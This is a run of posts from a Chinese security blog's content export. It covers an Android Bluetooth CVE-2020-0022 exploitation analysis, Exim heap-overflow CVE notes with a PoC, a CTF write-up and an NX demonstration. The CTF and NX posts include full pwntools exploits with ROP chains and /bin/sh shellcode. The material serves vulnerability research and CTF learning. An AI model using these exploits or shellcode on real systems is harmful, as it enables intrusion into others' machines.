alt=""></p><p>如上所述,我们基本上可以用源地址前面的内容覆盖包的最后64个字节。源缓冲区之前的20个字节总是<code>BT_HDR</code>,<code>acl_hdr</code>,<code>l2cap_hdr</code>。因此我们可以自动泄露远程设备的连接句柄。</p><p>未初始化内存的内容取决于第二个包的缓冲区的位置及其大小。通过重复发送常规的L2Ping回送请求,我们可以尝试将自己的包数据放在第二个包前面。这允许我们使用任意数据控制数据包的最后44个字节。通过缩短第一个包,可以控制整个包结构,包括包头。第一个数据包是这样的:</p><p><img src="/images/cve-2020-0022-简单分析记录/2020-04-23-17-52-28.png" alt=""></p><p>在触发bug后,损坏的包是下图中所示的。包含“X”的包就是我们放在源缓冲区前面的包。注意,除了<code>BT_HDR</code>中的长度外,包长度现在是0x280,而不是0x30。<code>packet->len</code>字段必须保持原来的长度,否则重新组装的时候需要更多的数据。</p><p><img src="/images/cve-2020-0022-简单分析记录/2020-04-23-17-54-55.png" alt=""></p><p>这将会导致更有用的泄露。注意,这是一种只针对数据的攻击,不需要执行代码或者其他任何附加信息。<br>它还可以将任意的L2CAP流量组合注入到任何活动的连接句柄中。成功的泄露可能如下图所示:</p><p><img src="/images/cve-2020-0022-简单分析记录/2020-04-23-17-56-29.png" alt=""></p><p>为了绕过地址随机化(ASLR),我们需要一些基本的库的地址。我们偶尔会在堆上发现来自<code>libicuuc.so</code>的对象,有如下结构:</p><ul><li>一些堆指针</li><li>指向<code>libicuuc.so</code>中的<code>uhash_hashUnicodeString_60</code>指针</li><li>指向<code>libicuuc.so</code>中的<code>uhash_compareUnicodeString_60</code>指针</li><li>指向<code>libicuuc.so</code>中的<code>uhash_compareLong_60</code>的指针</li><li>指向<code>uprv_deleteUObject_60</code>中的<code>uprv_deleteUObject_60</code>的指针</li></ul><p>我们可以使用这些函数的偏移量来检测泄露中的这些结构。</p><h3 id="控制执行流,Payload的位置"><a href="#控制执行流,Payload的位置" class="headerlink" title="控制执行流,Payload的位置"></a>控制执行流,Payload的位置</h3><p>有几个库,比如<code>libbluetooth.so</code>,受到了Clang的调用流完整性(CFI,Call Flow Integrity)的保护。这样可以保护边界防止我们用任意地址覆盖堆上的<code>vtables</code>函数,只有属于受影响对象的函数才是可以调用的,尽管如此,在断开连接时,我们偶尔会在破坏堆后触发以下崩溃:</p><pre><code>signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x37363534333231 x0 3837363534333231 x1 000000750c2649e0 x2 000000751e50a338 x3 0000000000000000 x4 0000000000000001 x5 0000000000000001 x6 00000075ab788000 x7 0000000001d8312e x8 00000075084106c0 x9 0000000000000001 x10 0000000000000001 x11 0000000000000000 x12 0000000000000047 x13 0000000000002000 x14 000f5436af89ca08 x15 000024747b62062a x16 000000750c2f55d8 x17 000000750c21b088 x18 000000750a660066 x19 000000751e50a338 x20 000000751e40dfb0 x21 000000751e489694 x22 0000000000000001 x23 0000000000000000 x24 000000750be85f64 x25 000000750a661588 x26 0000000000000005 x27 00000075084106b4 x28 000000750a661588 x29 000000750a65fd30 sp 000000750a65fd10 lr 000000750c264bb8 pc 000000750c264c5cbacktrace: #00 pc 00000000000dbc5c /system/lib64/libchrome.so (base::WaitableEvent::Signal()+200) #01 pc 00000000000add88 /system/lib64/libchrome.so (base::internal::IncomingTaskQueue::PostPendingTask(base::PendingTask*)+320) [...] #09 pc 00000000002dd0a8 /system/lib64/libbluetooth.so (L2CA_DisconnectRsp(unsigned short) [clone .cfi]+84) #10 pc 0000000000307a08 /system/lib64/libbluetooth.so (sdp_disconnect_ind(unsigned short, bool) [clone .cfi]+44) #11 pc 00000000002e39d4 /system/lib64/libbluetooth.so (l2c_csm_execute(t_l2c_ccb*, unsigned short, void*) [clone .cfi]+5500) #12 pc 00000000002eae04 /system/lib64/libbluetooth.so (l2c_rcv_acl_data(BT_HDR*) [clone .cfi]+4220) [...]</code></pre><p>在泄露过程中我们不仅向反方向溢出了,而且还破坏了在受影响缓冲区之后存储的数据。<br>在本例中,我们覆盖了保存在X0中的指针。通过查看代码中的位置,我们使指令在X0控制的分支寄存器之前崩溃。</p><pre><code>dbc5c: f9400008 ldr x8, [x0] // We control X0dbc60: f9400108 ldr x8, [x8]dbc64: aa1403e1 mov x1, x20dbc68: d63f0100 blr x8 // Brach to **X0</code></pre><p>如果我们知道一个可以存储任意数据的地址,我们就可以控制执行流了。<code>libchrome.so</code>没有用CFI编译,我们的包数据必须保存在堆的某个地方,但是我们还需要一种方法来搜索地址进行RCE。这是通过把连接句柄作为key,把部分数据包保存在哈希Map中实现的:</p><pre><code>BT_HDR* partial_packet = (BT_HDR*)buffer_allocator->alloc(full_length + sizeof(BT_HDR));[...]memcpy(partial_packet->data, packet->data, packet->len);[...]partial_packets[handle] = partial_packet;</code></pre><p>这将在堆上分配一个对象,包含key(连接句柄)和指向我们数据包的一个指针。最后我们就可以泄露这个对象,得到指向我们缓冲区的指针。这时候Key是已知的,我们就可以用它在泄露的信息中找到我们的对象。通过使用允许的最大数据包大小,我们有几百个字节来保存ROP链和payload。</p><p>这种方法并不完全可靠,但是在30%-50%的情况下有效。即使是蓝牙守护进程自动重启然后再开一个同样的进程。因此,地址空间在引导的时候是随机的,即使我们的守护进程崩溃,也会用相同的地址布局重新启动,因此我们可以反复尝试攻击来获得RCE。</p><h3 id="调用System"><a href="#调用System" class="headerlink" title="调用System()"></a>调用System()</h3><p>即使我们知道了<code>libicuuc.so</code>的绝对地址,库之间的偏移也是随机的。因此我们只能在这个库中使用gadget。<code>libicuuc.so</code>的调用中没有什么有用的函数,比如system(),在这一点上,Fabian Beterke指出,应该去库导入中找一些有用的内容。</p><p>我们没有直接使用<code>system()</code>或者<code>execve()</code>,但是我们有<code>disym()</code>可以用,这个函数需要一个句柄(比如空指针)和一个函数名作为参数。它解析并返回该函数的地址,可以用来获取<code>system()</code>的地址,因此,我们需要执行一个函数调用,并且控制它的返回,在ROP中,这通常不是问题,因为Gadget总是以返回结束。但是,我们没有办法在ROP中使用栈迁移,因此我们用C++的对象调用来执行相关操作,这些操作通常和X8或者X19有关系。结果就是我们的payload中有很多相对引用,为了跟踪已经使用的偏移量,我们实现了一个<code>set_ptr(payload, offset, value)</code>的函数,如果已经使用了payload中的给定偏移量则抛出错误,我们还跟踪了寄存器的值来简化整个过程。为了从<code>dlsym</code>清晰地返回,我们用了一个名为<code>u_cleanup_60</code>的解析器,它遍历一个函数列表,如果指针不是空的就调用这个地址,并清除它。这很方便,因为我们可以调用<code>dlsym</code>,并且可以控制返回后的执行,而不需要用栈迁移。</p><pre><code>ldr x8, [x19, #0x40]; cbz x8, #0xbc128; blr x8; str xzr, [x19, #0x40];ldr x8, [x19, #0x48]; cbz x8, #0xbc138; blr x8; str xzr, [x19, #0x48];ldr x8, [x19, #0x50]; cbz x8, #0xbc148; blr x8; str xzr, [x19, #0x50];ldr x8, [x19, #0x58]; cbz x8, #0xbc158; blr x8;</code></pre><h3 id="披露和结束语"><a href="#披露和结束语" class="headerlink" title="披露和结束语"></a>披露和结束语</h3><p>这个漏洞最初是在2019年11月3日发送给Android的安全团队的,包括一个PoC,它于2020年2月1日修复,并且得到了Android安全团队的认可。我要感谢这个团队协调这个过程并且提供了一个解决方案。同时,我也要感谢Jiska Classen和Fabian Beterke的帮助,此外,我们还想对<a href="https://bestwing.me/Android-8.1-memcpy-func.html">Swing的博客</a>发出一声欢呼,因为它是第一个对我们知识进行颠覆的博客,它颠覆了关于漏洞的关键思想。(Swing大哥牛逼!!(破音!!))</p><p>测试脚本可以在这里<a href="https://insinuator.net/wp-content/uploads/2020/04/cve_2020_0022_export.tar.gz">下载</a>。ROP链已从该利用脚本中删除。压缩包包括以下文件:</p><ul><li>python2 simple_leak.py target 预料之外的泄露章节的PoC</li><li>python2 fancy_leak.py target,泄露更多数据部分的PoC</li><li>python2 memcpy.py libc.so memcpy的测试脚本</li><li>python2 exploit.py target remote_libicuuc.so 删掉了ROP链的利用脚本</li></ul>]]></content>
<tags>
<tag> cve </tag>
<tag> pwn </tag>
<tag> android </tag>
</tags>
</entry>
<entry>
<title>Cve-2019-16928 Exim 堆溢出分析</title>
<link href="/2019/10/03/cve-2019-16928-exim-%E5%A0%86%E6%BA%A2%E5%87%BA%E5%88%86%E6%9E%90/"/>
<url>/2019/10/03/cve-2019-16928-exim-%E5%A0%86%E6%BA%A2%E5%87%BA%E5%88%86%E6%9E%90/</url>
<content type="html"><![CDATA[<p>上一个exim的rce还没写出来exp又出了新的rce, 听说是360的师傅在研究上个漏洞的时候发现的orz, 我什么时候也能这么强</p><p>看了下漏洞详情, 是发送ehlo消息的时候附带的数据可以导致堆溢出, 发现者给出了<a href="https://git.exim.org/exim.git/commitdiff/a9f4f5d741fa0414a4a3e30aabde179dba3fb1ef">PoC</a></p><p>尝试写一下exp</p><p>我们先在本地编译一个可以调试的exim, 为了方便之前的SNI的研究, 所以接着用之前的4.92.1版本, 在官网拖下来4.92.1.tar.gz并解压, 修改以下配置:</p><p>安装依赖:</p><p>libdb5.3-dev, libpcre3, aptitude, libssl-dev</p><p>aptitude install libpcre3-dev</p><p>之后make生成Makefile文件</p><p>修改Makefile文件来启用源码调试</p><p><img src="/images/cve-2019-16928-exim-堆溢出分析/2019-10-03-12-13-53.png" alt=""></p><p>然后sudo make install</p><p>调试模式启动exim: <code>/usr/exim/bin/exim -bd -d-receive</code></p><p>我这里选择用gef进行调试, gef有个堆分析功能很好用, gdb需要用sudo来启动</p><p>exp抄了一下之前的off-by-one的<a href="https://www.anquanke.com/post/id/106490#h3-14">exp</a>, 后来发现用smtplib更方便一点</p><p>首先连接服务器</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> smtplib <span class="keyword">import</span> *</span><br><span class="line">s = SMTP(<span class="string">"192.168.190.150"</span>, <span class="number">25</span>)</span><br></pre></td></tr></table></figure><p>之后在gdb里对进程attach, 因为exim对每一个连接开一个新的进程, 进程号可以在exim的调试窗口看到</p><p><img src="/images/cve-2019-16928-exim-堆溢出分析/2019-10-03-10-52-53.png" alt=""></p><p>然后发送上面PoC里的填充:</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">s.ehlo(<span class="string">"A"</span>*<span class="number">11264</span>)</span><br></pre></td></tr></table></figure><p>可以看到触发了内存错误</p><p><img src="/images/cve-2019-16928-exim-堆溢出分析/2019-10-03-10-55-16.png" alt=""></p><p>在gdb中看一下堆的情况:</p><p><img src="/images/cve-2019-16928-exim-堆溢出分析/2019-10-03-10-56-04.png" alt=""></p><p>发现有一个unsorted bin被我们溢出到了size字段, 导致内存错误</p><p>看一下这个unsorted bin</p><p><img src="/images/cve-2019-16928-exim-堆溢出分析/2019-10-03-10-57-22.png" alt=""></p><p>测试一下exim的堆构造方式, 当客户端连接到服务器时, 堆布局如下</p><p><img src="/images/cve-2019-16928-exim-堆溢出分析/2019-10-03-11-34-00.png" alt=""></p><p><img src="/images/cve-2019-16928-exim-堆溢出分析/2019-10-03-11-34-14.png" alt=""></p>]]></content>
</entry>
<entry>
<title>CVE-2019-15846 分析</title>
<link href="/2019/09/06/CVE-2019-15846-%E5%88%86%E6%9E%90/"/>
<url>/2019/09/06/CVE-2019-15846-%E5%88%86%E6%9E%90/</url>
<content type="html"><![CDATA[<p>通过比对补丁可以发现以下修复:</p><p><code>src\string.c</code>的<code>string_interpret_escape()</code>函数加了一句<code>if (ch == '\0') return **pp;</code></p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">/*************************************************</span></span><br><span class="line"><span class="comment">* Interpret escape sequence *</span></span><br><span class="line"><span class="comment">*************************************************/</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* This function is called from several places where escape sequences are to be</span></span><br><span class="line"><span class="comment">interpreted in strings.</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">Arguments:</span></span><br><span class="line"><span class="comment"> pp points a pointer to the initiating "\" in the string;</span></span><br><span class="line"><span class="comment"> the pointer gets updated to point to the final character</span></span><br><span class="line"><span class="comment"> If the backslash is the last character in the string, it</span></span><br><span class="line"><span class="comment"> is not interpreted.</span></span><br><span class="line"><span class="comment">Returns: the value of the character escape</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">int</span></span><br><span class="line">string_interpret_escape(<span class="keyword">const</span> uschar **pp)</span><br><span class="line">{</span><br><span class="line"><span class="meta">#<span class="meta-keyword">ifdef</span> COMPILE_UTILITY</span></span><br><span class="line"><span class="keyword">const</span> uschar *hex_digits= CUS<span class="string">"0123456789abcdef"</span>;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line"><span class="keyword">int</span> ch;</span><br><span class="line"><span class="keyword">const</span> uschar *p = *pp;</span><br><span class="line">ch = *(++p);</span><br><span class="line"><span class="keyword">if</span> (ch == <span class="string">'\0'</span>) <span class="keyword">return</span> **pp; <span class="comment">// bug fix in cve 2019 15846</span></span><br><span class="line"><span class="keyword">if</span> (<span class="built_in">isdigit</span>(ch) && ch != <span class="string">'8'</span> && ch != <span class="string">'9'</span>)</span><br><span class="line"> {</span><br><span class="line"> ch -= <span class="string">'0'</span>;</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">isdigit</span>(p[<span class="number">1</span>]) && p[<span class="number">1</span>] != <span class="string">'8'</span> && p[<span class="number">1</span>] != <span class="string">'9'</span>)</span><br><span class="line"> {</span><br><span class="line"> ch = ch * <span class="number">8</span> + *(++p) - <span class="string">'0'</span>;</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">isdigit</span>(p[<span class="number">1</span>]) && p[<span class="number">1</span>] != <span class="string">'8'</span> && p[<span class="number">1</span>] != <span class="string">'9'</span>)</span><br><span class="line"> ch = ch * <span class="number">8</span> + *(++p) - <span class="string">'0'</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"><span class="keyword">else</span> <span class="keyword">switch</span>(ch)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'b'</span>: ch = <span class="string">'\b'</span>; <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'f'</span>: ch = <span class="string">'\f'</span>; <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'n'</span>: ch = <span class="string">'\n'</span>; <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'r'</span>: ch = <span class="string">'\r'</span>; <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'t'</span>: ch = <span class="string">'\t'</span>; <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'v'</span>: ch = <span class="string">'\v'</span>; <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'x'</span>:</span><br><span class="line"> ch = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">isxdigit</span>(p[<span class="number">1</span>]))</span><br><span class="line"> {</span><br><span class="line"> ch = ch * <span class="number">16</span> +</span><br><span class="line"> Ustrchr(hex_digits, <span class="built_in">tolower</span>(*(++p))) - hex_digits;</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">isxdigit</span>(p[<span class="number">1</span>])) ch = ch * <span class="number">16</span> +</span><br><span class="line"> Ustrchr(hex_digits, <span class="built_in">tolower</span>(*(++p))) - hex_digits;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line">*pp = p;</span><br><span class="line"><span class="keyword">return</span> ch;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>利用过程:</p><p>有关此漏洞的一些详细说明:<br>-首先,我们使用tls连接到exim并发送一个以反斜杠null结尾的sni(由于string_printing2()中的反斜杠错误,此sni未经修改而写入spool)。<br>-其次,我们利用string_interpret_escape()中的反斜杠空错误(sni是从spool读取的,由string_unprinting()取消转义),并将此越界读取转换为越界写入(堆溢出)。<br>-接下来,我们使用这个堆溢出覆盖空闲malloc块的头,并增加其大小,使其与其他已分配的malloc块重叠。<br>-最后,我们分配这个扩展的malloc块,并用它覆盖堆的大部分(已经分配的malloc块)</p><p>接下来编译一份exim4来进行调试</p><p>参考文章: </p><ul><li><a href="https://rt.cpan.org/Public/Bug/Display.html?id=103763">https://rt.cpan.org/Public/Bug/Display.html?id=103763</a></li><li><a href="https://www.bbsmax.com/A/gVdnY1aE5W/">https://www.bbsmax.com/A/gVdnY1aE5W/</a></li></ul>]]></content>
</entry>
<entry>
<title>OGEEK 2019 Writeup</title>
<link href="/2019/08/24/OGEEK-2019-Writeup/"/>
<url>/2019/08/24/OGEEK-2019-Writeup/</url>
<content type="html"><![CDATA[<h2 id="签到"><a href="#签到" class="headerlink" title="签到"></a>签到</h2><p>flag{Reno}</p><h2 id="babyrop"><a href="#babyrop" class="headerlink" title="babyrop"></a>babyrop</h2><p>输入一个字符串和一个随机串通过strcmp比较, 如果比较成功可以到达漏洞点进行栈溢出</p><p>可以通过在输入串开头加<code>'\x00'</code>来绕过, 然后栈溢出leak libc基地址, 之后利用ropgadget搞个ropchain即可getshell</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="comment"># r = process('./babyrop')</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">r = remote(<span class="string">'47.112.137.238'</span>, <span class="number">13337</span>)</span><br><span class="line">r.sendline(<span class="string">'\x00'</span> + <span class="string">'\xff'</span> * <span class="number">0x10</span>)</span><br><span class="line">r.recv() <span class="comment"># Corret!</span></span><br><span class="line"><span class="comment"># leak libc base</span></span><br><span class="line">sleep(<span class="number">1</span>)</span><br><span class="line">puts_plt_addr = <span class="number">0x08048548</span></span><br><span class="line">puts_got_addr = <span class="number">0x08049FD4</span></span><br><span class="line">ret_addr = <span class="number">0x08048825</span></span><br><span class="line">r.send(<span class="string">'a'</span>*<span class="number">0xeb</span> + p32(puts_plt_addr) + p32(ret_addr) + p32(puts_got_addr))</span><br><span class="line">libc_base = u32(r.recv()) - ELF(<span class="string">'libc-2.23.so'</span>).symbols[<span class="string">'puts'</span>]</span><br><span class="line"></span><br><span class="line">r.sendline(<span class="string">'\x00'</span> + <span class="string">'\xff'</span> * <span class="number">0x10</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># Padding goes here</span></span><br><span class="line">p = <span class="string">''</span></span><br><span class="line"></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x00001aa6</span>) <span class="comment"># pop edx ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x001b0040</span>) <span class="comment"># @ .data</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x00023f97</span>) <span class="comment"># pop eax ; ret</span></span><br><span class="line">p += <span class="string">'/bin'</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x0006b34b</span>) <span class="comment"># mov dword ptr [edx], eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x00001aa6</span>) <span class="comment"># pop edx ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x001b0044</span>) <span class="comment"># @ .data + 4</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x00023f97</span>) <span class="comment"># pop eax ; ret</span></span><br><span class="line">p += <span class="string">'//sh'</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x0006b34b</span>) <span class="comment"># mov dword ptr [edx], eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x00001aa6</span>) <span class="comment"># pop edx ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x001b0048</span>) <span class="comment"># @ .data + 8</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x0002c5fc</span>) <span class="comment"># xor eax, eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x0006b34b</span>) <span class="comment"># mov dword ptr [edx], eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x00018395</span>) <span class="comment"># pop ebx ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x001b0040</span>) <span class="comment"># @ .data</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x000b4047</span>) <span class="comment"># pop ecx ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x001b0048</span>) <span class="comment"># @ .data + 8</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x00001aa6</span>) <span class="comment"># pop edx ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x001b0048</span>) <span class="comment"># @ .data + 8</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x0002c5fc</span>) <span class="comment"># xor eax, eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x00007eec</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x00007eec</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x00007eec</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x00007eec</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x00007eec</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x00007eec</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x00007eec</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x00007eec</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x00007eec</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x00007eec</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x00007eec</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, libc_base + <span class="number">0x00002c87</span>) <span class="comment"># int 0x80</span></span><br><span class="line"></span><br><span class="line">r.send(<span class="string">'a'</span> * <span class="number">0xeb</span> + p)</span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure><p>flag{BXCTFKKAZ8!bw&kN}</p>]]></content>
</entry>
<entry>
<title>修改ELF文件的NX保护</title>
<link href="/2019/06/06/%E4%BF%AE%E6%94%B9ELF%E6%96%87%E4%BB%B6%E7%9A%84NX%E4%BF%9D%E6%8A%A4/"/>
<url>/2019/06/06/%E4%BF%AE%E6%94%B9ELF%E6%96%87%E4%BB%B6%E7%9A%84NX%E4%BF%9D%E6%8A%A4/</url>
<content type="html"><![CDATA[<p>NX是栈不可执行保护, 即让栈上的数据无法作为指令执行<br>NX实际上是给栈加了一个权限标志位, 让程序识别其权限</p><p>这个标志位保存在<code>program header</code>里<br>启动神器<code>010editor</code>, 运行ELF文件的template</p><p><img src="/images/修改ELF文件的NX保护/2019-06-06-13-35-56.png" alt=""></p><p>可以看到各个段的信息, <code>GNU stack</code>即栈, 点开可以看到权限</p><p><img src="/images/修改ELF文件的NX保护/2019-06-06-13-37-11.png" alt=""></p><p><code>0x7</code>表示<code>R/W/X</code>权限, 即<code>NX Disable</code></p><p>那么我们如果想开NX, 设置为<code>R/W</code>权限即可</p><p><img src="/images/修改ELF文件的NX保护/2019-06-06-13-38-36.png" alt=""></p><p>例题: <a href="https://github.com/Inv0k3r/pwnable_files/raw/master/5afea37c3946a">下载</a></p><p>exp:</p><figure class="highlight py"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">s = <span class="string">'The_Pursuit_of_Happiness'</span></span><br><span class="line">a = <span class="string">'I_Need_BMW'</span></span><br><span class="line">pas = <span class="string">''</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(len(a)):</span><br><span class="line"> pas += chr(ord(s[i]) ^ ord(a[i]))</span><br><span class="line"><span class="comment"># xor %ecx,%ecx</span></span><br><span class="line"><span class="comment"># push $0x21</span></span><br><span class="line"><span class="comment"># pop %eax</span></span><br><span class="line"><span class="comment"># sub %eax, 0x15</span></span><br><span class="line"><span class="comment"># push %ecx</span></span><br><span class="line"><span class="comment"># push $0x68732f2f</span></span><br><span class="line"><span class="comment"># push $0x6e69622f</span></span><br><span class="line"><span class="comment"># mov %esp,%ebx</span></span><br><span class="line"><span class="comment"># int $0x80</span></span><br><span class="line"></span><br><span class="line">shellcode = <span class="string">"\x31\xc9\x6a\x21\x58\x83\xe8\x16\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"</span></span><br><span class="line">pas += <span class="string">'t_of_Happiness'</span> + <span class="string">'a'</span> * <span class="number">0x5b</span> + shellcode</span><br><span class="line">p = process(<span class="string">'./5afea37c3946a'</span>)</span><br><span class="line"><span class="comment"># p = remote('101.71.29.5', 10034)</span></span><br><span class="line">p.sendlineafter(<span class="string">'user name : '</span>, <span class="string">'a'</span>)</span><br><span class="line">p.sendlineafter(<span class="string">'password : '</span>, <span class="string">'b'</span>)</span><br><span class="line">p.sendlineafter(<span class="string">'information: '</span>, pas)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><p>在NX没开的情况下执行我们的shellcode即可getshell:</p><p><img src="/images/修改ELF文件的NX保护/2019-06-06-13-42-10.png" alt=""></p><p>用上面的方法打开NX以后, shellcode就失效了:</p><p><img src="/images/修改ELF文件的NX保护/2019-06-06-13-42-51.png" alt=""></p>]]></content>
</entry>
<entry>
<title>DEF CON CHINA 1.0 胸卡全攻略</title>
<link href="/2019/06/02/DEF-CON-CHINA-1-0-%E8%83%B8%E5%8D%A1%E5%85%A8%E6%94%BB%E7%95%A5/"/>
<url>/2019/06/02/DEF-CON-CHINA-1-0-%E8%83%B8%E5%8D%A1%E5%85%A8%E6%94%BB%E7%95%A5/</url>
<content type="html"><![CDATA[<p>刚参加完为期三天的DEF CON China 1.0, 吐槽一下这两天天气, 不是暴热就是下雨, 虽然去年在室内举办被人吐槽, 今年放在室外了, 但是我觉得还是室内比较好</p><p>这次DEF CON China的入场凭证和以往在拉斯维加斯举办的DEF CON一样, 换成了带灯的胸卡, 而不是去年的金属牌了:</p><p>DEFCON CHINA 2018 胸卡(图源: <a href="http://m.sohu.com/a/231342611_458138">http://m.sohu.com/a/231342611_458138</a>):</p><p><img src="/2019/06/02/DEF-CON-CHINA-1-0-%E8%83%B8%E5%8D%A1%E5%85%A8%E6%94%BB%E7%95%A5/2019-06-02-17-04-17.png" alt="DEFCON CHINA 2018 胸卡"></p><p>DEFCON CHINA 2019 胸卡:</p><p><img src="/images/DEF-CON-CHINA-1-0-胸卡全攻略/2019-06-02-17-08-02.png" alt=""></p><p>背面:</p><p><img src="/images/DEF-CON-CHINA-1-0-胸卡全攻略/2019-06-02-17-09-30.png" alt=""></p><p>言归正传, 后文会手把手教你怎么修改胸卡灯光闪烁</p><p>按主办方的设计, 正常操作应该是, 在每一个village/workshop/event签到都可以点亮一个灯</p><p>但是我们可以弄一些骚操作, 自己控制灯光, 由于设计者在workshop开源了代码, 我们可以改一改拿过来直接用</p><p>实测在macOS下, 可以正常编译, 在win和Linux下需要修改一点代码, 后文会写怎么改</p><p>可以看到, 背面有两个插口, 一个是MicroUSB, 一个是USB接口</p><p>右边正方形的芯片可以看到是MEGA328P芯片, 我们搜一下发现可以用arduino操作</p><h1 id="环境配置"><a href="#环境配置" class="headerlink" title="环境配置"></a>环境配置</h1><p>下载一个arduino: <a href="https://www.arduino.cc/">官方网站</a>, 下载速度慢的话可以在中文论坛下载: <a href="https://www.arduino.cn/thread-5838-1-1.html">中文论坛</a></p><p>安装完成后, 我们打开arduino软件, 找一根microUSB-USB的线, 连到电脑上</p><p>下载胸卡的源码, 地址: <a href="http://www.grandideastudio.com/wp-content/uploads/dcn1_bdg_source.zip">http://www.grandideastudio.com/wp-content/uploads/dcn1_bdg_source.zip</a></p><p>把文件解压出来, 用arduino打开<code>DEFCON_China_Badge_2019.ino</code>文件, 对照代码修改即可</p>]]></content>
</entry>
<entry>
<title>使用Patchkit和LIEF Patch二进制程序</title>
<link href="/2019/05/29/%E4%BD%BF%E7%94%A8Patchkit%E5%92%8CLIEF-Patch%E4%BA%8C%E8%BF%9B%E5%88%B6%E7%A8%8B%E5%BA%8F/"/>
<url>/2019/05/29/%E4%BD%BF%E7%94%A8Patchkit%E5%92%8CLIEF-Patch%E4%BA%8C%E8%BF%9B%E5%88%B6%E7%A8%8B%E5%BA%8F/</url>
